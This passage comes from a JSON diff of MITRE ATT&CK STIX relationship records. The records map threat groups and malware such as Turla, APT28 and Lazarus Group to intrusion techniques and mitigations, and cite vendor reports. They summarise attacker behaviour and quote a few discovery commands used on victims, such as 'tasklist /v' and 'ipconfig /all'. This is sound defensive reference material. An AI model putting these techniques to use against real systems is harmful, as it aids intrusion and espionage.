"2017-05-31T21:33:27.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aec0a948-428f-4327-b466-a0472da12928", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.273Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) encrypts data sent to its C2 server over HTTP with RC4.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "Microsoft Wingbird Nov 2017", + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover running processes using the tasklist /v command. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated processes associated with specific open ports or named pipes.", + "type": "relationship", + "created": "2017-05-31T21:33:27.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9dfb7899-20af-4eea-bfca-f608d885cb00", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "modified": "2019-07-14T21:04:44.995Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) creates a suspended svchost process and injects its DLL into it.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3a0c38e8-c174-4c86-a229-fcb4965ce311", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to upload and download files to the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--406257ac-ff42-4e15-b72e-50202e38b675", + "external_references": [ + { + "source_name": "Symantec Calisto July 2018", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:33:34.064Z", + "type": "relationship", + "id": "relationship--0bc1693e-d481-46d7-bd62-3ed6884986d2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.023Z", + "source_ref": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.373Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.588Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--99800503-d535-4fae-a318-dfa034dca663", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also gathers process times.", + "type": "relationship", + "created": "2017-05-31T21:33:27.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--699ddfef-6e95-42cf-b212-dc661f790adc", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-29T18:13:08.955Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used RDP connections to move across the victim network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "modified": "2019-06-28T15:24:32.118Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T18:44:28.657Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "relationship_type": "uses", + "target_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:22:58.031Z", + "type": "relationship", + "id": "relationship--696a01b4-e052-4355-a09b-ff1e46d452b4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1", + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:36.406Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to acquire information about local networks: ipconfig /all >> %temp%\\download", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:58.148Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used several different keyloggers.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8ba987a9-3a03-4996-8fb7-80f34a35f406", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2019-05-10T12:14:32.202Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.330Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64175a23-67fa-4fa6-8aa6-890c9dc3d5d8", + "external_references": [ + { + "source_name": "US-CERT HARDRAIN March 2018", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d06420fb-1c4d-4a4e-b18e-4c0750310606", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "source_name": "Talos MuddyWater May 2019", + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "modified": "2019-06-28T15:30:58.702Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:32:22.866Z", + "type": "relationship", + "id": "relationship--0727c98a-b7e0-45ba-a20e-632d394ef422", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects password policy information with the command net accounts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ddda59d4-5455-4d42-901b-b7a227a8a023", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a plugin for VNC and Ammyy Admin Tool.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7fa238de-37c5-4224-b760-bf9f00001051", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of obtaining directory, file, and drive listings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b9fe8dd4-a3c9-4e58-9a74-937e4de677a8", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). 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Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49f2c182-bd69-4874-9102-b5fd1acac59c", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "modified": "2019-04-22T15:08:48.473Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:20:05.908Z", + "type": "relationship", + "id": "relationship--a65de154-e0dd-445f-9f26-8459a287c790", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run whoami on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "modified": "2019-07-17T16:17:30.316Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used tools to compress data before exfilling it.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec", + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. 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(2017, December 17). Invoke-PSImage. Retrieved April 10, 2018.", + "url": "https://github.com/peewpw/Invoke-PSImage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--b52d6583-14a2-4ddc-8527-87fd2142558f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:16:17.818Z", + "type": "relationship", + "id": "relationship--ea46cbd0-7134-4ede-a117-47380ddd9b5c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.017Z", + "source_ref": "course-of-action--28adf6fd-ab6c-4553-9aa7-cef18a191f33", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:21:57.826Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b651165-e444-4272-a218-32e728558208", + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. 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Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:36:24.298Z", + "type": "relationship", + "id": "relationship--0fe893d6-a52f-4828-a792-eeb6a3e4f979", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a batch file that configures the ComSysApp service to autostart in order to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ca5c9be-52c6-43ac-81f5-d7740d02e1d6", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. 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Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.263Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) uses steganography to hide backdoors in PNG files, which are also encrypted using the Tiny Encryption Algorithm (TEA).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c677f35-b73b-47bc-b162-1fd036a38def", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. 